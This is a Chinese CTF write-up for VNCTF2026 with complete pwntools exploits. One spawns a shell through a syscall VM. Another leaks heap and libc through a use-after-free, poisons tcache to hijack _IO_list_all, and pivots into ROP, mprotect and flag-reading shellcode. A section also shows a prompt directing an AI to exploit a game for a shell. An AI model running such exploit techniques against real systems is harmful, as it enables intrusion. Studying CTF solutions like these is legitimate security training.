VNCTF2026

vm_syscall

一血, 虽然只是起得早 能控寄存器执行syscall的vm, 结构体如下

struct vm
{
  _BYTE *code_base;
  _DWORD PC;
  _DWORD padding;
  _QWORD reg[4];
  _DWORD op_idx[3];
  _DWORD padding2;
  _QWORD imm_val;
};

没开pie, 可以用SYS_BRK拿到可写地址用read写binsh, 然后执行SYS_EXECVE即可

import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "114.66.24.228"
port = 30280
ELF_PATH="./pwn"
if local:
    p = process(ELF_PATH)
else:
    p = remote(ip,port)
elf = ELF(ELF_PATH)

def dbg():
    script = '''
# brva 0x1E19
brva 0x1DA3
    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')



# --- Opcode Constants ---
OP_MOV = 1
OP_IMM = 2
OP_REG = 3
OP_SYS = 4

# Sub-Opcodes
SUB_MOV_DST_SRC = 16 # Reg[Dst] = Reg[Src]
SUB_ADD = 16
SUB_SUB = 32
SUB_MUL = 48
SUB_XOR = 112

# Registers
R0, R1, R2, R3 = 0, 1, 2, 3


def inst_mov(dst, src):
    # Opcode 1: [1] [Dst] [Src] [SubOp]
    # We use SubOp 16 which implements Reg[Dst] = Reg[Src]
    return p8(OP_MOV) + p8(dst) + p8(src) + p8(SUB_MOV_DST_SRC)

def inst_imm(dst, src, val, sub_op):
    # Opcode 2: [2] [Dst] [Src] [Len] [Bytes...] [SubOp]
    if val == 0:
        val_bytes = b''
    else:
        # VM loads bytes in Big Endian
        val_bytes = val.to_bytes((val.bit_length() + 7) // 8, 'big')
    return p8(OP_IMM) + p8(dst) + p8(src) + p8(len(val_bytes)) + val_bytes + p8(sub_op)

def inst_reg(dst, src1, src2, sub_op):
    # Opcode 3: [3] [Dst] [Src1] [Src2] [SubOp]
    return p8(OP_REG) + p8(dst) + p8(src1) + p8(src2) + p8(sub_op)

def inst_syscall():
    return p8(OP_SYS)


bytecode = b''

# --- 1. Leak Heap Address: sys_brk(0) ---
# Reg0 = 12
bytecode += inst_imm(R0, R0, 12, SUB_ADD)
# Reg1 = 0 (Clear it first)
bytecode += inst_reg(R1, R1, R1, SUB_XOR)
# Syscall
bytecode += inst_syscall()

# R0 now holds heap address.

# --- 2. Calculate Buffer Address ---
# We'll use (HeapAddr - 0x100) as our scratch space.
# Reg2 = R0
bytecode += inst_mov(R2, R0)
# Reg2 = Reg2 - 256
bytecode += inst_imm(R2, R2, 256, SUB_SUB)

# --- 3. Read String: sys_read(0, Buffer, 100) ---
# Reg0 = 0 (sys_read). Clear R0 (it holds heap addr).
bytecode += inst_reg(R0, R0, R0, SUB_XOR)
# Reg1 = 0 (stdin). Already 0.
# Reg2 is Buffer.
# Reg3 = 100
bytecode += inst_imm(R3, R3, 100, SUB_ADD)
# Syscall
bytecode += inst_syscall()

# --- 4. Spawn Shell: sys_execve(Buffer, 0, 0) ---
# Reg0 = 59 (sys_execve). Clear R0 first (holds read count).
bytecode += inst_reg(R0, R0, R0, SUB_XOR)
bytecode += inst_imm(R0, R0, 59, SUB_ADD)
# Reg1 = Buffer. Move from Reg2.
bytecode += inst_mov(R1, R2)
# Reg2 = 0. Clear.
bytecode += inst_reg(R2, R2, R2, SUB_XOR)
# Reg3 = 0. Clear.
bytecode += inst_reg(R3, R3, R3, SUB_XOR)
# Syscall
bytecode += inst_syscall()

payload = bytecode.ljust(0x200, b'\x00')

# Append the string to be read by the VM
payload += b'/bin/sh\x00'


dbg()
p.sendafter(b'Enter your code:\n', payload)
p.interactive()


eat some AI

游戏题, 先入为主猜商店购买整数溢出, 买完以后打boss直接拿shell。 先让用nc找漏洞

image-20260201102421526

然后给ai写提示词让ai去打。

先战斗, 遇到购买的时候输入比如说11451444之类的很大的数字触发整数溢出拿到好装备, 如果提示[系统] 总计需要支付: 343542000 积分, 这个积分是正数说明数字还不够大, 如果这个数字是负数说明成功了。先从11451444开始试。如果遇到恭喜你,渡夜者!之类的话就成功拿到shell了, 先列举目录获取flag文件的名字, 如果当前目录没有就去根目录找。找到flag的名字以后用命令读取并返回给我。

image-20260201102233718

Recode

一血 经典堆题, 给了增删改查, 区别就是有个protobuf协议, 不让用b’\x20\x09\x0a\x0b\x0c\x0d’这几个字符 。 先是交互

# --- Protobuf Encoding Helpers ---
def encode_varint(n):
    """Encodes an integer to Protobuf Varint format."""
    if n < 0: n += (1 << 64) 
    out = []
    while True:
        byte = n & 0x7F
        n >>= 7
        if n:
            out.append(byte | 0x80)
        else:
            out.append(byte)
            break
    return bytes(out)

def build_req(op_num=None, op_op=None, idx=None, val=None):
    """Constructs the raw bytes for a robot.OperationRequest."""
    payload = b''
    # Field 1: op_num (int32) -> Tag 8 (\x08)
    if op_num is not None:
        payload += b'\x08' + encode_varint(op_num)
    # Field 2: op_operator (string) -> Tag 18 (\x12)
    if op_op is not None:
        if isinstance(op_op, str): op_op = op_op.encode()
        payload += b'\x12' + encode_varint(len(op_op)) + op_op
    # Field 3: target_index (int32) -> Tag 24 (\x18)
    if idx is not None:
        payload += b'\x18' + encode_varint(idx)
    # Field 4: target_value (string) -> Tag 34 (\x22)
    if val is not None:
        if isinstance(val, str): val = val.encode()
        payload += b'\x22' + encode_varint(len(val)) + val
    return payload

def send_req(data):
    # Input is read via cin >> string, which breaks on whitespace.
    if any(b in data for b in b' \t\n\v\f\r'):
        log.warning("Payload contains bad bytes! Exploit may fail.")
        pause()
    p.sendline(data)
    sleep(0.1)
    

# Opcodes
OP_CHECK = 49374
OP_WRITE = -65535 # 0xFFFF0001
OP_READ  = -65534 # 0xFFFF0002
OP_EDIT  = -65533 # 0xFFFF0003
OP_THROW = -65532 # 0xFFFF0004

log.info("1. Handshake...")
send_req(build_req(op_num=OP_CHECK, val="ping"))
p.recvuntil(b"Server is healthy!")

log.info("2. Leaking Heap (Safe Linking Bypass)...")
# Allocate two chunks A and B

漏洞在ThrowThings里面

image-20260201103238481

UAF漏洞, free之后指针没置0。

先用SHOW功能leak出堆和libc地址。

for i in range (7):
    send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # 0-6
    p.recvuntil(b'!\n')

send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 7
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 8
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 9
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 10
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 11
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 12
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 13
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 14
p.recvuntil(b'!\n')

send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x10)) # idx 15
p.recvuntil(b'!\n')



send_req(build_req(OP_THROW, idx=1))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=2))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=3))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=4))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=5))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=6))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=7))
p.recvuntil(b'\n')

send_req(build_req(OP_THROW, idx=8))
p.recvuntil(b'\n')



# Read Index 1 (UAF Read). 
# Index 1's FD points to Index 0.
send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20350
lg("heap_base")


send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ad60
lg("libc_base")

题目实际上一次操作处理了两个堆, op_op可以输入byte类型, val只能输入字符串。

打tcache poison, 覆写_IO_list_all。

TCACHE_KEY = (heap_base + 0x1f620) >> 12
lg("TCACHE_KEY")

IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
# binsh = libc_base + libc.search('/bin/sh').__next__()
binsh = heap_base + 0x15800

system = 0xcafefefe
execve = libc_base + 0xeb080
leave_ret = libc_base + 0x000000000004da83

send_req(build_req(OP_WRITE, op_op="a"*0x28, val="b"*0x100)) # idx 8
send_req(build_req(OP_WRITE, op_op="c"*0x28, val="d"*0x110)) # idx 7
send_req(build_req(OP_THROW, idx=8))
send_req(build_req(OP_THROW, idx=7))



send_req(build_req(OP_EDIT, op_op=p64(_IO_list_all ^ TCACHE_KEY)[:6], idx=7, val=b''))

走_IO_wfile_overflow的链拿到RIP控制

由于system和onegadget的地址刚好有坏字符, 刚开始想用execve但是本地通了远程不行, 后来改用

setcontext和mov_rsp_rdx做栈迁移打read+mprotect+shellcode的orw成了。

完整exp:

from pwn import *
import sys
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

local = 0
if args.GDB:
    local = 1
ip = "114.66.24.228"
port = 33142
ELF_PATH="./server"
if local:
    p = process(ELF_PATH)
else:
    p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./lib/libc.so.6")

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop=True)
0x599f39fd4930
def dbg():
    script = '''
    disp/x $rebase(0x135E0)
brva 0x5A56
brva 0x50EA
brva 0x57A0
# brva 0x4CCB
b _IO_flush_all_lockp
b _IO_wfile_seekoff
b _IO_wfile_overflow
b _IO_switch_to_wget_mode
b _IO_wdoallocbuf
# b *$rebase(0x8e9c2)
    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')



# --- Protobuf Encoding Helpers ---
def encode_varint(n):
    """Encodes an integer to Protobuf Varint format."""
    if n < 0: n += (1 << 64) 
    out = []
    while True:
        byte = n & 0x7F
        n >>= 7
        if n:
            out.append(byte | 0x80)
        else:
            out.append(byte)
            break
    return bytes(out)

def build_req(op_num=None, op_op=None, idx=None, val=None):
    """Constructs the raw bytes for a robot.OperationRequest."""
    payload = b''
    # Field 1: op_num (int32) -> Tag 8 (\x08)
    if op_num is not None:
        payload += b'\x08' + encode_varint(op_num)
    # Field 2: op_operator (string) -> Tag 18 (\x12)
    if op_op is not None:
        if isinstance(op_op, str): op_op = op_op.encode()
        payload += b'\x12' + encode_varint(len(op_op)) + op_op
    # Field 3: target_index (int32) -> Tag 24 (\x18)
    if idx is not None:
        payload += b'\x18' + encode_varint(idx)
    # Field 4: target_value (string) -> Tag 34 (\x22)
    if val is not None:
        if isinstance(val, str): val = val.encode()
        payload += b'\x22' + encode_varint(len(val)) + val
    return payload

def send_req(data):
    # Input is read via cin >> string, which breaks on whitespace.
    if any(b in data for b in b' \t\n\v\f\r'):
        log.warning("Payload contains bad bytes! Exploit may fail.")
        pause()
    p.sendline(data)
    sleep(0.1)
    

# Opcodes
OP_CHECK = 49374
OP_WRITE = -65535 # 0xFFFF0001
OP_READ  = -65534 # 0xFFFF0002
OP_EDIT  = -65533 # 0xFFFF0003
OP_THROW = -65532 # 0xFFFF0004

log.info("1. Handshake...")
send_req(build_req(op_num=OP_CHECK, val="ping"))
p.recvuntil(b"Server is healthy!")

log.info("2. Leaking Heap (Safe Linking Bypass)...")
# Allocate two chunks A and B


for i in range (7):
    send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # 0-6
    p.recvuntil(b'!\n')

send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 7
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 8
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 9
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 10
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 11
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 12
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 13
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 14
p.recvuntil(b'!\n')

send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x10)) # idx 15
p.recvuntil(b'!\n')



send_req(build_req(OP_THROW, idx=1))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=2))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=3))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=4))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=5))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=6))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=7))
p.recvuntil(b'\n')

send_req(build_req(OP_THROW, idx=8))
p.recvuntil(b'\n')



# Read Index 1 (UAF Read). 
# Index 1's FD points to Index 0.
send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20350
lg("heap_base")


send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ad60
lg("libc_base")

environ = libc_base + libc.sym['environ']
lg("environ")
_IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("_IO_list_all")


TCACHE_KEY = (heap_base + 0x1f620) >> 12
lg("TCACHE_KEY")

IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
# binsh = libc_base + libc.search('/bin/sh').__next__()
binsh = heap_base + 0x15800

system = 0xcafefefe
execve = libc_base + 0xeb080
leave_ret = libc_base + 0x000000000004da83

send_req(build_req(OP_WRITE, op_op="a"*0x28, val="b"*0x100)) # idx 8
send_req(build_req(OP_WRITE, op_op="c"*0x28, val="d"*0x110)) # idx 7
send_req(build_req(OP_THROW, idx=8))
send_req(build_req(OP_THROW, idx=7))


dbg()
send_req(build_req(OP_EDIT, op_op=p64(_IO_list_all ^ TCACHE_KEY)[:6], idx=7, val=b''))

fake_io_addr = heap_base + 0x1580e
lg("fake_io_addr")
onegadget = libc_base + 0x50a47
rdx = fake_io_addr - 0x10
setcontext = libc_base + libc.sym['setcontext'] + 294
mov_rsp_rdx = libc_base + 0x5a11b
puts = libc_base + libc.sym['puts']

# 0x000000000005a120 : mov rsp, rdx ; ret

fake_context_addr = fake_io_addr + 0x40

ropchain_addr = fake_io_addr + 0xf0

fake_io=flat(
{
    # 0x0:[b'\x00'],    
    0x8: [p64(0)],
    0x10:[p64(1)],
    0x18:[p64(0)],
    0x20:[p64(0)],          
    0x28:[p64(1)],          
    0x48:[p64(system)],
    0x78:[p64(fake_context_addr)],
    0x88:[p64(fake_io_addr+0x90),p64(0),p64(setcontext)],  
    0xA0:[p64(fake_io_addr-0x10)],        
    0xA8:[p64(binsh)],   # rdi      
    0xc0:[p64(0)],          
    # 0xc8:[p64(0)],  # rdx
    0xc8:[p64(ropchain_addr)],  # rdx
    0xd0:[p64(fake_io_addr+0x30)], 
    0xd8:[p64(IO_wfile_jumps+0x30-0x30)],
    }, filler=b'\x00'
)

# fake_io += p64(0) + p64(execve) # ret addr    
# fake_io += p64(0) + p64(puts)
# fake_io += p64(0) + p64(libc_base + libc.sym['perror'])
fake_io += p64(0) + p64(mov_rsp_rdx)

pop_rdi = libc_base + 0x00000000001b672e
pop_rsi = libc_base + 0x0000000000174150
pop_rdx_r12 = libc_base + 0x000000000013b6b9
pop_rcx = libc_base + 0x000000000003d1ee
pop_rax = libc_base + 0x00000000000e6fd4
syscall_ret = libc_base + 0xea549
mprotect = libc_base + libc.sym['mprotect']

# ropchain begin
fake_io += p64(pop_rdi)
fake_io += p64(0)
fake_io += p64(pop_rsi)
fake_io += p64(heap_base)
fake_io += p64(pop_rdx_r12)
fake_io += p64(0x500)
fake_io += p64(0)
fake_io += p64(pop_rax)
fake_io += p64(0)
fake_io += p64(syscall_ret)

fake_io += p64(pop_rdi)
fake_io += p64(heap_base)
fake_io += p64(pop_rsi)
fake_io += p64(0x1000)
fake_io += p64(pop_rdx_r12)
fake_io += p64(7)
fake_io += p64(0)
fake_io += p64(mprotect)

fake_io += p64(heap_base)




send_req(build_req(OP_WRITE, op_op = b"e"*0x28, val="f"*0x120)) # idx 6



send_req(build_req(OP_WRITE, op_op=p64(fake_io_addr) + b"g"*0x20, val="h"*0x130)) # idx 5, the one

send_req(build_req(OP_WRITE, op_op = fake_io, val="f"*0x140))

# dbg()
# send_req(build_req(OP_READ, idx=1))
p.sendline(b'/bin/sh\x00')
pause()

shellcode = """
    mov rax, 0x67616c662f
    push rax
    mov rdi, rsp
    xor rsi, rsi
    mov rax, 2
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    xor rax, rax
    syscall
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 1
    syscall
"""
p.send(asm(shellcode))

p.interactive()

# bad bytes: b'\x20\x09\x0a\x0b\x0c\x0d'


# 0x778462e53b06 <setcontext+294>:     mov    rcx,QWORD PTR [rdx+0xa8]
# 0x778462e53b0d <setcontext+301>:     push   rcx
# 0x778462e53b0e <setcontext+302>:     mov    rsi,QWORD PTR [rdx+0x70]
# 0x778462e53b12 <setcontext+306>:     mov    rdi,QWORD PTR [rdx+0x68]
# 0x778462e53b16 <setcontext+310>:     mov    rcx,QWORD PTR [rdx+0x98]
# 0x778462e53b1d <setcontext+317>:     mov    r8,QWORD PTR [rdx+0x28]
# 0x778462e53b21 <setcontext+321>:     mov    r9,QWORD PTR [rdx+0x30]
# 0x778462e53b25 <setcontext+325>:     mov    rdx,QWORD PTR [rdx+0x88]
# 0x778462e53b2c <setcontext+332>:     xor    eax,eax
# 0x778462e53b2e <setcontext+334>:     ret




# *RAX  0x5a34ee2e983e ◂— 0
#  RBX  0x5a34ee2e980e ◂— 0
#  RCX  0
#  RDX  0x5a34ee2e97fe ◂— 0x6473616473610000
#  RDI  0x5a34ee2e980e ◂— 0
#  RSI  0xffffffff
#  R8   0x726f13228290 —▸ 0x726f1321cce8 —▸ 0x726f130ac0b0 ◂— endbr64
#  R9   0x48
#  R10  0x726f130242b0 ◂— 0xb001200000b4b /* 'K\x0b' */
#  R11  0x726f130ac060 (std::error_category::~error_category()) ◂— endbr64
#  R12  0xffffffff
#  R13  0x7ffc36e03260 —▸ 0x726f12c8cfe0 ◂— endbr64
#  R14  0
#  R15  0x5a34ee2e980e ◂— 0
#  RBP  0x5a34ee2e980e ◂— 0
#  RSP  0x7ffc36e03210 ◂— 0xd68 /* 'h\r' */
# *RIP  0x726f12c83b9b (_IO_wdoallocbuf+43) ◂— call qword ptr [rax + 0x68]

image-20260201104544087